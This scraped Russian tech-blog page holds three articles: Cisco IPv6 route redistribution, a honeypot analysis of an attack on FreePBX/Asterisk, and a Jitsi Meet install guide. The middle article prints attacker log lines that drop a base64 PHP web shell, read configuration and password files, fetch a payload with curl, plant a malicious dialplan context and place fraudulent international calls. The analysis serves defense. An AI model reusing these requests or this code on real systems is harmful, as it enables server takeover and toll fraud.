По вашему запросу ничего не найдено :(
Убедитесь, что запрос написан правильно, или посмотрите другие
наши статьи:
В этой заключительной статье о перераспределении маршрутов мы проверим работу Route redistribution с помощью IPv6 и увидим небольшое отличие в настройке routes redistributed IPv6 от routes redistributed IPv4.
Предыдущие статьи из цикла:
Часть 1. Перераспределение маршрутов (Route redistribution)
Часть 2. Фильтрация маршрутов с помощью карт маршрутов
Часть 3. Перераспределение маршрутов между автономными системами (AS)
Перераспределение подключенных сетей
Во-первых, рассмотрим маршрутизатор, выполняющий маршрутизацию, предположим, что используется протокол OSPF. Кроме того, предположим, что маршрутизатор имеет несколько интерфейсов, которые участвуют в маршрутизации OSPF. Представьте, что на этом же маршрутизаторе мы запускаем другой протокол маршрутизации (скажем, EIGRP), и мы делаем взаимное перераспределение маршрутов.
Вот что удивительно. Если мы делаем перераспределение маршрута на этом маршрутизаторе, сети IPv4, связанные с интерфейсами этого маршрутизатора, участвующими в OSPF в нашем примере, будут перераспределены в EIGRP. Однако сети IPv6, будут вести себя по-другому. В частности, в сетях IPv6 мы должны ввести дополнительный параметр в нашу конфигурацию перераспределения маршрутов, явно указывая, что мы хотим перераспределить подключенные сети. В противном случае эти маршруты IPv6, связанные с непосредственно с подключенными интерфейсами, не перераспределяются.
Логика такого поведения вытекает из понимания того, что для перераспределения маршрута данный маршрут должен появиться в таблице IP-маршрутизации маршрутизатора. Конечно, когда посмотрим таблицу IP-маршрутизации маршрутизатора и увидим непосредственно подключенные сети, эти сети отображаются как подключенные сети, а не сети, которые были изучены с помощью определенного протокола маршрутизации.
В то время как route redistribution для IPv4 понимает, что сеть напрямую подключена, но участвует в процессе маршрутизации и поэтому будет перераспределена, route redistribution для IPv6 не делает такого предположения. В частности, если мы перераспределяем сети IPv6 из одного протокола маршрутизации в другой, эти сети должны отображаться в таблице маршрутизации IPv6 маршрутизатора вместе с указанием, что они были изучены с помощью перераспределяемого протокола маршрутизации. Конечно, мы можем добавить дополнительный параметр к нашей команде redistribute, чтобы заставить эти непосредственно подключенные сети IPv6 (участвующие в распространяемом протоколе) также быть перераспределенными. Эта настройка будет продемонстрирована немного позже.
Перераспределение в OSPF
В прошлой статье мы обсуждали потенциальную проблему, с которой вы можете столкнуться при распространении в OSPF (в зависимости от вашей версии Cisco IOS). Проблема была связана с подсетями. В частности, по умолчанию в более старых версиях Cisco IOS OSPF только перераспределяет классовые сети в OSPF, если мы не добавим параметр subnets к команде redistribute. Добавление этого параметра позволило перераспределить сети в OSPF, даже если у них не было классовой маски. Пожалуйста, имейте в виду, что последние версии Cisco IOS автоматически добавляют параметр подсети, не требуя от вас ручного ввода.
Однако параметр подсети в IPv6 route redistribution отсутствует. Причина в том, что IPv6 не имеет понятия о подсетях.
Пример route redistribution IPv6
Чтобы продемонстрировать перераспределение маршрутов IPv6, рассмотрим следующую топологию:
Протоколы маршрутизации OSPFv3 и EIGRP для IPv6 уже были настроены на всех маршрутизаторах. Теперь давайте перейдем к маршрутизатору CENTR и настроим взаимное route redistribution между этими двумя автономными системами. Убедимся в этом, проверив таблицу маршрутизации IPv6 маршрутизатора CENTR.
Приведенные выше выходные данные показывают, что мы изучили две сети IPv6 через OSPF, две сети IPv6 через EIGRP, а CENTR напрямую подключен к двум сетям IPv6. Далее, давайте настроим взаимное перераспределение маршрутов между OSPFv3 и EIGRP для IPv6.
CENTR # conf term
Enter configuration commands, one per line. End with CNTL/Z.
CENTR (config)# ipv6 router eigrp 1
CENTR (config-rtr) # redistribute ospf 1 metric 1000000 2 255 1 1500?
include-connected Include connected
match Redistribution of OSPF routes
route-map Route map reference
cr
CENTR (config-rtr) #redistribute ospf 1 metric 1000000 2 255 1 1500 include-connected
CENTR (config-rtr) #exit
CENTR (config) # ipv6 router ospf 1
CENTR (config-rtr) #redistribute eigrp 1?
include-connected Include connected
metric Metric f or redistributed routes
metric-type OSPF/IS-IS exterior metric type for redistributed routes
nssa-only Limit redistributed routes to NSSA areas
route-map Route map reference
tag Set tag for routes redistributed into OSPF
cr
CENTR (config-rtr) #redistribute eigrp 1 include-connected
CENTR (config-rtr) #end
CENTR#
Обратите внимание, что конфигурация взаимного перераспределения маршрутов, используемая для маршрутов IPv6, почти идентична нашей предыдущей конфигурации для перераспределения маршрутов IPv4. Однако для обеих команд перераспределения был указан параметр include-connected. Это позволило маршрутизатору CENTR перераспределить сеть 2003::/64 (непосредственно подключенную к интерфейсу Gig0/1 маршрутизатора CENTR и участвующую в OSPF) в EIGRP. Это также позволило маршрутизатору CENTR перераспределить сеть 2004::/64 (непосредственно подключенную к интерфейсу Gig0/2 маршрутизатора CENTR и участвующую в EIGRP) в OSPF.
Чтобы убедиться, что наша конфигурация рабочая, давайте перейдем на оба маршрутизатора OFF1 и OFF2, убедившись, что каждый из них знает, как достичь всех шести сетей IPv6 в нашей топологии.
Вышеприведенные выходные данные подтверждают, что маршрутизаторы OFF1 и OFF2 знают о своих трех непосредственно связанных маршрутах и трех маршрутах, перераспределенных в процессе маршрутизации. Итак, как мы видим, что когда речь заходит о routes redistributed IPv6, то не так уж много нового нужно узнать по сравнению с routes redistributed IPv4.
Привет друг! Ты наверняка слышал что-то про взлом IP-АТС, когда злоумышленники звонят в другие страны по международной связи, а жертве приходит большой счёт от провайдера. К большому сожалению – это правда и сейчас я по косточкам разберу метод такой атаки на IP-АТС Asterisk с графической оболочкой FreePBX, который позволяет плохим парням бесчестно наживаться на чужих ошибках, чтобы ты мог защитить себя и не стать очередной жертвой, за счёт которой позвонили в Сомали.
TL;DR: Графический интерфейс FreePBX имеет уязвимости удаленного исполнения кода (RCE – Remote Code Execution), в различных компонентах. Вот некоторые из них:
CVE-2014-7235 – Уязвимость в ARI Framework (Asterisk Recording Interface - ARI) в FreePBX версий 2.9.0.9, 2.10.x, и 2.11 до 2.11.1.5.
SEC-2016-004 - Уязвимость с модулях Hotel Wakeup (все версии между 13.0.1alpha2 и 13.0.14) и System Recordings (все версии между 13.0.1beta1 и 13.0.26)
CVE-2019-19006 (SEC-2019-001) – Уязвимость Framework FreePBX в версиях ниже v13.0.197.13, v14.0.13.11 и v15.0.16.26
Все эти уязвимости позволяют удаленно обойти процесс аутентификации (ну то есть не надо вводить логин и пароль) и выполнять команды на сервере с проблемной версией софта. Злоумышленники используют данные уязвимости для совершения исходящих звонков через свой контекст. Это значит, что если ты оставишь вэб-морду FreePBX открытой всему Интернету (по умолчанию порт 80 HTTP, 443 HTTPS), то рано или поздно – за твой счёт позвонят другие.
Так что НИКОГДА не открывай доступ веб-интерфейсу своей IP-АТС для всего Интернета, и вообще старайся ограничивать доступ к любым портам. А также ВСЕГДА обращай внимание на уведомление об обнаруженных уязвимостях и своевременно устанавливай обновления безопасности на всех продуктах! Но если ты всё же решил оставить свой FreePBX с открытым web-портом и забить на обновления – читай что будет дальше.
Разведка (Reconnaisance)
Прежде чем достичь своей цели (позвонить за твой счёт) злоумышленникам нужно сначала отыскать твой открытый веб-интерфейс FreePBX в сети. Сделать это очень просто, нужно просканировать порты. Для нашей атаки ему нужно найти порт 80 (HTTP), 443 (HTTPS) ну или 8080. Именно на них обычно висит страничка с аутентификацией. Отлично, нашли кучу адресов с торчащим наружу нужным портом, но как понять, что там именно FreePBX с уязвимой версией софта? Есть несколько способов – можно бить по всему подряд в надежде, что сервер уязвим, можно написать скрипт, который будет собирать дополнительную информацию (так называемые баннеры) о версии FreePBX. По умолчанию – установленная версия отображается на той же страничке с окном аутентификации. Давайте откроем лог HTTP-обращений к нашему серверу (его можно найти вот тут: /var/log/httpd/access_log) и посмотрим, как действуют злоумышленники.
Чтобы воочию наблюдать за тем как нас ломают, мы создали, так называемую ловушку (Honeypot) – это намеренно непропатченный, уязвимый сервер для того чтобы изучать действия хакеров. Мы установили на него FreePBX 13 версии и выставили наружу вэб-интерфейс (открыли всему миру 80 и 443 порты)
Примерно через час после “открытия” нашей ловушки, мы увидели такую картину:
На картинке показаны обращения к ресурсам нашего сервера (11.22.33.44), ответы от него и User-Agent’ы, с которых осуществлялись обращения. Например, рассмотрим следующее обращение:
169.197.108.42 - - [30/May/2020:11:35:57 +0300] "GET /admin HTTP/1.1" 301 316 "https://11.22.33[.]44/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
Здесь:
169.197.108[.]42 – адрес, с которого осуществлялось обращение;
GET /admin - запрос страницы https://11.22.33[.]44/admin;
301 – ответ HTTP 302 (Moved Permanently – Перемещено навсегда). Ответ сервера, означающий, что запрашиваемый ресурс (страница https://11.22.33[.]44/admin ) был перемещен;
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" - User Agent Google Chrome версии 60 для Windows 10. Это значит, что для доступа к ресурсу https://11.22.33[.]44/admin был использован браузер Chrome.
Для большей наглядности, мы выделили счастливчиков, которые нашли то, что искали (им сервер ответил 200 ОК и вернул запрашиваемую информацию). В их числе:
169.197.108[.]42
198.108.66[.]192
45.143.221[.]50
173.212.225[.]214
45.143.220[.]111
Если присмотреться внимательнее, то можно увидеть, что все они нашли одно и то же - /admin/config.php, но давайте посмотрим на действия 173.212.225[.]214.
Обратите внимание, что он также пытается обращаться к ресурсам явно не относящимся к FreePBX (/vtigercrm/vtigerservice.php, /a2billing/admin/Public/index.php), а когда находит /admin/config.php , сразу же безуспешно пытается исполнить интересный скрипт:
/rr.php?yokyok=cat%20/etc/amportal.conf;%20cat%20/etc/asterisk/sip_additional.conf HTTP/1.1" 404 284 "-" "libwww-perl/6.42"
/admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0"
/admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 403 43 "https://11.22.33.44:443//admin/config.php?display=cli" "python-requests/2.22.0"
/admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0"
Доставка (Delivery)
Эти обращения – есть ни что иное как попытка создания скрипта на нашей IP-АТС для совершения исходящих звонков. Однако хоть нас и обнаружили, злоумышленнику не удаётся обратиться к нужному компоненту – скрипту /rr.php, сервер отвечает сообщением HTTP 403 (Forbidden).
Обратите также внимание на User-agent’ы - python-requests/2.22.0 и libwww-perl/6.42. Это уже не просто браузеры, а WWW библиотеки Pearl и Python.
Позднее, кому-то на адресе 45.143.220[.]111 всё-таки удаётся создать /rr.php. Для этого используется уже немного другой User-Agent - "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64".
Создание rr.php происходит после ввода:
"GET /admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 200 32 "https://11.22.33[.]44//admin/config.php?display=cli" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64"
Само содержимое скрипта rr.php зашифровано по алгоритму base64 и скрыто вот в этой короткой строчке:
20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg
Вот дешифровка:
Этот небольшой php скрипт нам кладут в директорию /var/www/html/, а дальше начинается самое интересное. Заметили строчку config.php?display=cli? Да, злоумышленники успешно получили доступ к командной строке и теперь могут делать что душе угодно!
Обратите внимание на смену User Agent’а в 16:17:53 – "curl/7.29.0". Это значит, что кто-то через утилиту curl (скорее всего через ту самую командную строку) лезет куда-то ещё. Давайте выясним – зачем?
Инсталляция (Installation)
Для этого откроем другой лог /var/log/httpd/error_log и посмотрим, что происходило за время использования curl.
В глаза сразу же бросается обращение на Pastebin (сайт, куда можно загружать любой текст или код для просмотра всем желающим) по ссылке /raw/Dbnw6kqb. Перейдя по данной ссылке нас встречает уже знакомая кодировка base64, причём код зачем-то повторяется дважды:
Расшифруем:
Вся эта радость сохраняется по пути /var/www/html/badr.php
На самом деле, вариаций этого скрипта довольно много, иногда он скачивается по частям с разных сайтов, иногда в нём можно обнаружить попытки затирания свидетельств компрометации. Как видите, они весьма похожи и их суть довольно проста - украсть наш конфиг Amportal (всю конфигурацию FreePBX с паролями ARI и AMDB), чтобы затем подсунуть нам измененный файл /etc/amportal.conf и собственно создать вредоносный контекст, через который потом можно будет звонить.
Управление (Command & Control)
Мы, а точнее плохие парни, почти на финишной прямой. Помнишь про простенький вредоносный скрипт rr.php, который нам недавно подсунули? Самое время вернуться к нему!
Напомню – это простенький php-скрипт, который просит всего одну переменную - yokyok и позволяет передать в неё абсолютно любой параметр. Пользуясь этой замечательной возможностью, хакеры передают туда (время 16:17:51 и 54) измененный конфигурационный файл /etc/amportal.conf и изменённый файл /etc/asterisk/sip_additional.conf.
Как можно догадаться – в sip_additional.conf у нас теперь есть вредоносный контекст, который и позволит злоумышленникам звонить за наш счёт. Вот он:
[badr-outcall]; thankuohoh
exten => _.,1,Macro(user-callerid,LIMIT,EXTERNAL,); thankuohoh
exten => _.,n,Set(MOHCLASS=${IF($["${MOHCLASS}"=""]?default:${MOHCLASS})});
thankuohoh
exten => _.,n,Set(_NODEST=); thankuohoh
exten => _.,n,Macro(dialout-trunk,1,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,2,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,3,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,7,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(outisbusy,); thankuohoh
PROFIT (Actions on Objectives)
Ну чтож, как говорится:
Как ты, наверное, уже понял – звонить они тоже будут через rr.php и yokyok. Захотели позвонить в Уганду или на Сейшельские острова? Пожалуйста:
45.143.220.111 - - [31/May/2020:16:25:14 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/810256207815086@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05"
45.143.220.111 - - [31/May/2020:16:55:06 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/8102486420077@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05"
А ты потом будешь наблюдать в CDR Reports такую картинку и платить провайдеру по счетам:
Ну хоть “спасибо” сказали. Ты же заметил, как называется контекст, который нам сделали - thankuohoh? Жаль нельзя прослушать о чём они там говорили.. ?
Ну, а если не хочешь, чтобы и твой Asterisk тоже достался хакерам – скорее беги закрывать 443, 80, 8080 и устанавливать последние обновления безопасности!
PS: Кстати, нашу ловушку явно пробили через уязвимость CVE-2019-19006 (SEC-2019-001):
[SECURITY] (BMO/Notifications.class.php:507) - [NOTIFICATION]-[freepbx]-[VULNERABILITIES] - There is 1 module vulnerable to security threats (framework (Cur v. 13.0.195.4) should be upgraded to v. 13.0.197.14 to fix security issues: SEC-2019-001
[INFO] (bin/module_admin:631) - framework 13.0.195.4 Online upgrade available (13.0.197.14)
Jitsi Meet - это бесплатное программное обеспечение для видеоконференций с открытым исходным кодом на базе WebRTC, которое работает на Linux, macOS, Windows, iOS и Android. Если вы не доверяете Zoom, вы можете запустить собственную платформу для видеоконференций на собственном сервере. Преимущество Jitsi Meet заключается в том, что все ваши данные передаются только через ваш сервер, а шифрование TLS обеспечивает защиту от перехвата и прослушивания. Это руководство покажет вам, как установить Jitsi Meet на сервер Ubuntu 18.04 и 20.04, а также Debian 10.
>
Особенности Jitsi Meet
Совершенно бесплатно
Поделитесь экраном своего компьютера с другими (Screensharing)
Режим докладчика, который позволяет одновременно использовать экран и камеру
Вы можете поделиться системным звуком во время демонстрации экрана
Вы можете назначить авторизованных пользователей модераторами. Модератор может отключить звук у каждого участника одним щелчком мыши
Связь по сети зашифрована с использованием DTLS-SRTP
Сквозное шифрование
Вы можете установить пароль для своей конференции, чтобы предотвратить вход случайных незнакомцев
Запишите конференцию и сохраните ее в Dropbox
Транслируйте на YouTube Live и сохраняйте запись на YouTube
Приложения для Android и iOS
Текстовый чат
Вы можете поделиться текстовым документом
Телефонный доступ к конференции
Исходящий вызов телефонному абоненту
Вы можете встроить вызов Jits Meet на любую веб-страницу с помощью всего нескольких строк кода
Системные требования
Вам понадобится:
Linux сервер и non-root user с привилегиями sudo
Доменное имя, указывающее на ваш сервер
Шаг 1. Установите Jitsi Meet из официального репозитория пакетов
Jitsi Meet не включен в репозиторий Ubuntu по умолчанию. Мы можем установить его из официального репозитория пакетов Jitsi, который также содержит несколько других полезных программных пакетов. Войдите на свой сервер через SSH, затем выполните следующую команду, чтобы добавить официальный репозиторий Jitsi.
echo 'deb https://download.jitsi.org stable/' | sudo tee /etc/apt/sources.list.d/jitsi-stable.list
Импортируйте открытый ключ Jitsi, чтобы менеджер пакетов APT мог проверять целостность пакетов, загруженных из этого репозитория.
wget -qO - https://download.jitsi.org/jitsi-key.gpg.key | sudo apt-key add -
Поскольку для репозитория Jitsi требуется HTTPS-соединение, нам нужно установить пакет apt-transport-https, чтобы APT установил HTTPS-соединение с репозиторием Jitsi.
sudo apt install apt-transport-https
Затем обновите локальный индекс пакета и установите Jitsi Meet в Ubuntu.
sudo apt update
sudo apt install jitsi-meet
Во время установки вам необходимо ввести имя хоста для вашего экземпляра Jitsi. Это имя хоста, которое будет отображаться в адресной строке веб-браузера, когда посетители присоединятся к вашей видеоконференции. Вы можете использовать описательное имя хоста, например meet.example.com.
На следующем экране вы можете выбрать создание нового самозаверяющего сертификата TLS (Generate a new self-signed certificate), чтобы позже вы могли получить и установить доверенный сертификат Let’s Encryption.
В процессе установки будут настроены некоторые параметры ядра Linux, которые сохраняются в файле /etc/sysctl.d/20-jvb-udp-buffers.conf. После завершения установки Jitsi Meet автоматически запустится. Вы можете проверить его статус с помощью:
systemctl status jitsi-videobridge2
Пример вывода:
? jitsi-videobridge2.service - Jitsi Videobridge
Loaded: loaded (/lib/systemd/system/jitsi-videobridge2.service; enabled; vendor preset: enabled)
Active: active (running) since Fri 2020-04-24 12:11:13 UTC; 3min 27s ago
Main PID: 3665 (java)
Tasks: 37 (limit: 65000)
CGroup: /system.slice/jitsi-videobridge2.service
L-3665 java -Xmx3072m -XX:+UseConcMarkSweepGC -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/tmp -Dnet.java.sip.communicator.SC_HOME_DIR_LOCATION=/etc/jitsi -Dnet.java.sip.communicator.SC_HO
Пакет jitsi-meet также извлекал другие пакеты в качестве зависимостей, например
openjdk-8-jre-headless: среда выполнения Java. Это необходимо, потому что Jitsi Meet написан на языке Java.
jicofo: Jitsi Conference Focus (systemctl status jicofo)
prosody: Легкий сервер Jabber / XMPP (systemctl status prosody)
coturn: сервер TURN и STUN для VoIP (systemctl status coturn)
Шаг 2. Откройте порты в брандмауэре
Jitsi Meet прослушивает несколько портов UDP, что можно увидеть с помощью следующей команды. (Если на вашем сервере Ubuntu нет команды netstat, вы можете запустить команду sudo apt install net-tools, чтобы установить ее.)
sudo netstat -lnptu | grep java
Чтобы участники могли присоединиться к видеоконференции из веб-браузера, вам необходимо открыть TCP-порт 80 и 443. А для передачи видео по сети откройте UDP-порт 10000 и 5000. Если вы используете брандмауэр UFW, запустите следующую команду, чтобы открыть эти порты.
sudo ufw allow 80,443/tcp
sudo ufw allow 10000,5000/udp
Шаг 3. Получите доверенный сертификат Let's Encrypt TLS
Перейдите в службу хостинга DNS (обычно это ваш регистратор домена), чтобы создать запись DNS A для вашего имени хоста Jitsi (meet.example.com). Затем запустите следующий скрипт, чтобы получить доверенный сертификат Let’s Encrypt TLS:
sudo /usr/share/jitsi-meet/scripts/install-letsencrypt-cert.sh
Введите свой адрес электронной почты, чтобы получать важные уведомления об учетной записи. Затем он загрузит certbot и получит сертификат TLS.
This script will:
- Need a working DNS record pointing to this machine(for domain jitsi.example.com)
- Download certbot-auto from https://dl.eff.org to /usr/local/sbin
- Install additional dependencies in order to request Let’s Encrypt certificate
- If running with jetty serving web content, will stop Jitsi Videobridge
- Configure and reload nginx or apache2, whichever is used
- Configure the coturn server to use Let's Encrypt certificate and add required deploy hooks
- Add command in weekly cron job to renew certificates regularly
You need to agree to the ACME server's Subscriber Agreement (https://letsencrypt.org/documents/LE-SA-v1.1.1-August-1-2016.pdf)
by providing an email address for important account notifications
Enter your email and press [ENTER]:
Если все в порядке, вы увидите следующее сообщение, указывающее, что сертификаты TLS были успешно получены и установлены.
Обратите внимание, что этот сценарий использует запрос http-01, что означает, что ваш веб-сервер Apache или Nginx должен прослушивать порт 80 общедоступного IP-адреса. Если ваша серверная среда не поддерживает вызов http-01, вам не следует запускать приведенный выше сценарий. Вам нужно использовать другие типы задач. В этом случае используем вызов DNS.
sudo certbot --agree-tos -a dns-cloudflare -i nginx --redirect --hsts --staple-ocsp --email me@example.com -d meet.example.com
Где:
--agree-tos: примите условия использования.
-a dns-cloudflare: используем плагин DNS cloudflare для аутентификации, потому что используем службу Cloudflare DNS.
-i nginx: использовать плагин nginx для установки сертификата TLS. Если вы используете Apache, вам необходимо заменить nginx на apache.
--redirect: принудительно использовать HTTPS с помощью 301 редиректа.
--hsts: добавлять заголовок Strict-Transport-Security к каждому ответу HTTP. Заставить браузер всегда использовать TLS для домена. Защищает от удаления SSL/TLS.
--staple-ocsp: включает сшивание OCSP. Допустимый ответ OCSP прикреплен к сертификату, который сервер предлагает во время TLS.
Шаг 4. Включите HTTP2
HTTP2 может улучшить скорость загрузки веб-страницы. Чтобы включить HTTP2 в Nginx, отредактируйте файл конфигурации виртуального хоста.
sudo nano /etc/nginx/sites-enabled/meet.example.com.conf
Найдите следующие две строки.
listen 443 ssl;
listen [::]:443 ssl;
Добавьте http2 в конце каждой строки.
listen 443 ssl http2;
listen [::]:443 ssl http2;
Сохраните и закройте файл. Затем перезагрузите Nginx, чтобы изменения вступили в силу.
sudo systemctl reload nginx
Шаг 5. Начните новую онлайн-встречу
Теперь посетите https://meet.example.com, и вы сможете начать конференцию. Для передачи звука вам необходимо разрешить веб-браузеру использовать ваш микрофон. А для передачи видео вам необходимо разрешить веб-браузеру доступ к вашей камере.
Дайте вашей встрече название и нажмите кнопку Go. После начала собрания вы можете при желании установить пароль для собрания.
Шаг 6. Настройте аутентификацию пользователя
По умолчанию любой может перейти к вашему серверу Jitsi Meet, создать комнату и начать собрание. Чтобы настроить аутентификацию пользователя, отредактируйте файл конфигурации Prosody.
sudo nano /etc/prosody/conf.d/meet.example.com.cfg.lua
Найдите следующую строку.
authentication = "anonymous"
Измените его на следующее, что потребует от пользователя ввода имени пользователя и пароля для начала конференции.
authentication = "internal_plain"
Однако мы не хотим, чтобы участники вводили имя пользователя и пароль при присоединении к конференции, поэтому нам нужно создать анонимный вход для гостей, добавив следующие строки в конец этого файла. Обратите внимание, что вам не нужно создавать запись A DNS для guest.meet.example.com.
VirtualHost "guest.meet.example.com"
authentication = "anonymous"
c2s_require_encryption = false
Сохраните и закройте файл. Затем отредактируйте файл конфигурации Jitsi Meet.
sudo nano /etc/jitsi/meet/meet.example.com-config.js
Найдите следующую строку:
// anonymousdomain: 'guest.example.com',
Удалите двойные косые черты и измените гостевой домен. Замените meet.example.com своим настоящим именем хоста Jitsi Meet.
anonymousdomain: 'guest.meet.example.com',
Сохраните и закройте файл. Затем отредактируйте файл конфигурации Jicofo.
sudo nano /etc/jitsi/jicofo/sip-communicator.properties
Добавьте следующую строку в конец этого файла.
org.jitsi.jicofo.auth.URL=XMPP:meet.example.com
Сохраните и закройте файл. Перезапустите службы systemd, чтобы изменения вступили в силу.
sudo systemctl restart jitsi-videobridge2 prosody jicofo
Чтобы создать учетные записи пользователей в Jisi Meet, выполните следующую команду. Вам будет предложено ввести пароль для нового пользователя.
sudo prosodyctl register username meet.example.com
Теперь, если вы создаете комнату в Jitsi Meet, вам нужно будет ввести имя пользователя и пароль.
Советы по устранению неполадок
Если вы столкнулись с ошибками, вы можете проверить журнал ошибок Nginx (/var/log/nginx/error.log), чтобы узнать, что не так. Также проверьте журналы служб systemd.
sudo journalctl -eu jitsi-videobridge2
sudo journalctl -eu prosody
sudo journalctl -eu jicofo
Если вы видите ошибку You have been disconnected (Вы были отключены) при запуске собрания в Jitsi, возможно, вы забыли изменить meet.example.com на свое настоящее имя хоста Jitsi Meet в файлах конфигурации.
Опционально: настроить Jigasi для телефонного набора или исходящего вызова
Jitsi предлагает телефонный интерфейс, который позволяет пользователям подключаться к конференции или делать звонки с напоминанием. Установите пакет jigasi (шлюз Jitsi для SIP).
sudo apt install jigasi
Во время установки вам нужно будет ввести свое имя пользователя и пароль SIP. Если у вас его нет, вы можете создать бесплатную учетную запись SIP на сайте OnSIP.com.
Если вы настроили аутентификацию пользователя на шаге 6, вам необходимо отредактировать файл конфигурации Jigasi.
sudo nano /etc/jitsi/jigasi/sip-communicator.properties
Найдите следующие строки.
# org.jitsi.jigasi.xmpp.acc.USER_ID=SOME_USER@SOME_DOMAIN
# org.jitsi.jigasi.xmpp.acc.PASS=SOME_PASS
# org.jitsi.jigasi.xmpp.acc.ANONYMOUS_AUTH=false
Раскомментируйте их и введите учетную запись и пароль, которые вы создали на шаге 6.
org.jitsi.jigasi.xmpp.acc.USER_ID=user1@meet.example.com
org.jitsi.jigasi.xmpp.acc.PASS=user1_password
org.jitsi.jigasi.xmpp.acc.ANONYMOUS_AUTH=false
Сохраните и закройте файл. Перезапустите службу jigasi systemd.
sudo systemctl restart jigasi
Опционально: настроить Coturn
Если во время установки Jitsi Meet вы видите следующее сообщение, вам необходимо настроить Coturn, чтобы он работал правильно.
Warning! Could not resolve your external ip address! Error:^
Your turn server will not work till you edit your /etc/turnserver.conf config file.
You need to set your external ip address in external-ip and restart coturn service.
Отредактируйте файл конфигурации Coturn.
sudo nano /etc/turnserver.conf
Найдите следующую строку.
external-ip=127.0.0.1
Замените 127.0.0.1 общедоступным IP-адресом вашего сервера. Сохраните и закройте файл. Затем перезапустите Coturn.
sudo systemctl restart coturn
Итоги
Готово! Мы успешно установили Jitsi Meet на наш Linux сервер.